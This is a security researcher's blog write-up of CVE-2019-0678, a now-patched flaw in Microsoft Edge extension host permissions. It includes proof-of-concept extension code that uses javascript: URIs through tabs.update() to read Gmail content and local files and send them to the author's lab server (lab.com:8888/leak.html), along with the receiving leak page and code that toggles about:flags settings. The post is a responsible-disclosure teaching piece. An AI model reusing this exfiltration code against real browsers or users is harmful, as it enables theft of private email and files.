Microsoft Edge Extensions Host Permission Bypass (CVE-2019-0678)

Browser Extensions

A browser extension is a plug-in that extends the functionality of a web browser. Extensions are capable of managing cookies, bookmarks, storage, and passwords, among others. Some of the most common browser extensions used are:
  1. AdBlock Plus
  2. EditThisCookie
  3. FoxyProxy
  4. Wappalyzer

Permissions

Every browser extension is installed with specific permissions, defined under the manifest.json file. You have probably noticed it while checking browser extensions settings as displayed in the image below

 

Manfiest.json

Every extension has a manifest.json defined which has all the necessary permissions for the extension. Following is a sample manifest.json file which shows several permissions.     If you look at the manifest file, you will notice a couple of permissions defined. Every single permission provides different features to extensions. Among all the permissions, the host permission is the most important. It defines on which specific domains our extension can execute JavaScript code.

 

Types of host permissions

Host: https://www.google.com/* 
This permission allows our extension to execute JavaScript code on
https://www.google.com/anything/ that excludes sub-domains. As displayed in the below image.
Host:https://*.google.com/*
This specific permission allows our extension to execute JavaScript on Google that also includes sub-domains, i.e. https://mail.google.com, https://developers.google.com/, etc. As displayed in the below image.
Host: *://*.google.com/* 
This permission allows our extension to execute JavaScript code on Google that includes sub-domains of Google as well as any valid protocol. As displayed in the below image.
Host: <all_urls>;
This permission is very special as it allows browser extensions to execute JavaScript code on any host. This means that an extension with this permission can read and write content on any origin, except for privileged pages.

 

Privileged Pages

Privileged pages are internal browser pages that define browser settings. For example, in Chrome, we have chrome://settings to view the setting page. So, if you managed to execute JavaScript code on a page like about:flags, it means you can change developer and other settings on the same page as displayed in below image. This includes enabling flash support. Also, standards preview features
about:flags   // Edge
about:debugging  // Firefox
chrome://settings // Chrome
You might have already noticed the sensitivity of host permissions since a little mistake in the implementation would lead to user privacy violation. But think about this: You install an extension that has permission to execute JavaScript code on https://developer.google.com but somehow, it allows JavaScript code execution on https://mail.google.com. This means the extension can also read your google mail, and this violates user privacy and trust.

 

Sample extension

Let’s create a sample extension that allows a user to pop up an alert 1 and also allows loading any website as displayed in below image.
Let’s start by creating a manifest.json file which has permissions set to https://www.google.com only.
{
  "name": "Evil Extension",
  "author": "@C0d3G33k",
  "description": "Evil Extension!",
  "version": "1.0",
  "icons": {
    "25": "images/color-changer25.png",
    "48": "images/color-changer48.png"
  },
  "permissions": [
    "https://www.google.com/*"
  ], 
  "browser_action": {
    "default_icon": {
      "20": "images/color-changer20.png",
      "40": "images/color-changer40.png"
    },
    "default_title": "Evil Extension",
    "default_popup": "popup.html"
  },
  "content_scripts": [{
    "matches": [
        "<all_urls>"
    ],
    "js": ["js/content.js"],
    "run_at": "document_end"
}],
  "background": {
    "scripts": ["/js/background.js"],
    "persistent": true
  }
}
Almost every browser extension has the default popup page defined in the manifest file, which appears whenever you click on the browser extension icon. In our case it is popup.html
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="css/styles.css" />
  </head>
  <body>
    <p>Evil Extension</p>
    <input id="b1" type="button" value="Open" />
    <input id="b2" type="button" value="Execute" />
    <script src="js/popup.js"></script>
  </body>
</html>
Now, let’s have our popup.html call an external JavaScript file popup.js

let open = document.getElementById('b1');
let execute = document.getElementById('b2');

open.onclick = function() {
  browser.tabs.create   ({
    url: "https://www.google.com"
  });
};

execute.onclick = function() {
  browser.tabs.executeScript({
    code: `alert(1)`
  });  
};


Now as soon as the user clicks on the open button, https://www.google.com will be loaded in a new tab. And clicking execute button results in executing alert(1) as specified in popup.js

Playing with Tabs API

You can look at all supported API at https://docs.microsoft.com/en-us/microsoft-edge/extensions/api-support/supported-apis Let’s quickly try to load any arbitrary website using tabs.create() API.
open.onclick = function() {
  browser.tabs.create   ({
    url: "https://www.bing.com"
  });
};

Works fine, but what will happen if we try to load local files?

open.onclick = function() {
  browser.tabs.create   ({
    url: "file:///C:/Users/reach/Desktop/local_file.txt"
  });
};

Doesn’t work, seems like Edge considered it as a relative path. Let’s again try to load privileged pages

open.onclick = function() {
  browser.tabs.create   ({
    url: "about:flags"
  });
};
That seems to work!

Forcing Edge Extensions to load local files

Apart from create method update is also worth looking at. Let’s again try to load local files using tabs.update() API

open.onclick = function() {
  browser.tabs.update   ({
    url: "file:///C:/Users/reach/Desktop/local_file.txt"
  });
};

That works pretty fine.
Let’s try to load privileged pages using tabs.update() API

open.onclick = function() {
  browser.tabs.update   ({
    url: "about:flags"
  });
};

This also worked! Interesting!
So we are able to load local files and privileged pages using Edge extension.
we reported this behaviour to MSRC but they said we don't support download API hence there is no risk in loading file though we will fix this issue in defense in depth fix. Now what is next? Do you remember JavaScript protocol? that allows us to execute JavaScript code in URI’s.
For example <a href="javascript:console.log('test')">test</a> so whatever you write after javascript: will be treated as javaScript code.

Bypassing host access permission

We already discussed the sensitivity of host access permissions. Let’s try using JavaScript URI’s inside the create and update method.

open.onclick = function() {
  browser.tabs.create   ({
    url: "javascript:window.open('https://www.google.com')"
  });
};

Doesn’t work, also we couldn’t achieve anything more using the create method. Let’s try with our favourite method update

open.onclick = function() {
  browser.tabs.update   ({
    url: "javascript:alert(document.domain)"
  });
};

And that worked!
As you can see, we successfully got JavaScript code execution on bing.com using JavaScript URI’s while having the permission of google.com. This means we have successfully bypassed Edge extension host permission and hence, we can execute JavaScript on any website without granting permission.

Stealing google mail

As we are able to escalate host permissions, let’s try reading users’ Google email without having the access permission. Quickly navigate to https://mail.google.com/mail/u/0/#inbox and check our emails.
In order to demonstrate a sample attack to steal this specific email, we will use the following code.

open.onclick = function() {
  browser.tabs.update   ({
    url: "javascript: var x = document.getElementsByClassName('y2')[0].innerHTML ; window.open('http://lab.com:8888/common/leak.html?#'+x);"
  });
};

In the above code, we are trying to fetch the email page and send the entire DOM code to the attacker’s server, which would simply display the content we fetched from google mails.
<!-- Content of leak.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Stealed Information</title>
    <meta charset="utf-8">
</head>
<body>
    <h1 style="color:red">Stealed Information!</h1>
    <hr>
    <script type="text/javascript">
        var p = location.hash.substring(1);
        var xx = decodeURI(p);
        document.write(xx);
    </script>
</body>
</html>
And as you notice we are able to steal the email.

Stealing Local files

Since we are able to get javaScript code execution on any domain, let’s try the same concept on local files.

open.onclick = function() {
  browser.tabs.update   ({
    url: "javascript:alert(window.location)"
  });
};

Remember we were able to load local files? Now we can exfiltrate local files as well. By chaining these two bugs we can steal users local files.

// to load local files
open.onclick = function() {
  browser.tabs.update   ({
    url: "file:///C:/Users/reach/Desktop/local_file.txt"
  });
};
// to steal contents 
execute.onclick = function() {
  browser.tabs.update   ({
    url: `javascript: var x = document.body.innerHTML;window.open('http://lab.com:8888/common/leak.html?#'+x);`
  });
};



Changing internal developer settings

After getting successful JavaScript code execution on local files, privileged pages are the next target. The most important page in Edge, consisting of sensitive settings is about:flags. Since we are able to load privileged pages, it will be easier to change the content. Let us apply the same concept and check if we have JavaScript code execution on about:flags.

open.onclick = function() {
  browser.tabs.update ({
    url: "javascript:alert(1)"
  });
};


And surprisingly it doesn’t work. Looks like Edge is smart enough to prevent JavaScript code execution on privileged pages until you realize Edge is actually bluffing. If you refresh the same page and run the same code again, it works. So we have to refresh the page to make it work. Do we have any other ways to load about:flags? Absolutely! Using the res protocol with URL res://edgehtml.dll/flags.htm Let’s load it and try again.
And this time it worked using a single click. Time for some mischief!

Enabling/Disabling Adobe flash player


// to load about:flags
open.onclick = function() {
  browser.tabs.update   ({
    url: "res://edgehtml.dll/flags.htm"
  });
};

// to toggle adobe flash player flag
execute.onclick = function() {
  browser.tabs.update ({
    url: "javascript:document.getElementById('BchostLocalhostLoopback').click();"
  });
};

Now we can enabling/disable extension developer features, reset all the flags etc. In addition, we tried on other about pages like about:compat also, we have also tried on reading mode and other extensions internal pages, But both of them have CSP implemented in place which prevents our javaScript code execution.

Conclusion

We saw how the edge extension permissions model works and how it can be bypassed. We also witnessed how we can combine loading local files and URI bypasses to exfil sensitive files from a user machine. Additionally, we were able to modify internal browser settings Microsoft fixed this bug in the March’19 update with highest possible bounty. It’s time to see if there are any other ways to bypass this bug. Reference: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0678

Leave a Reply

Your email address will not be published. Required fields are marked *

7 + ten =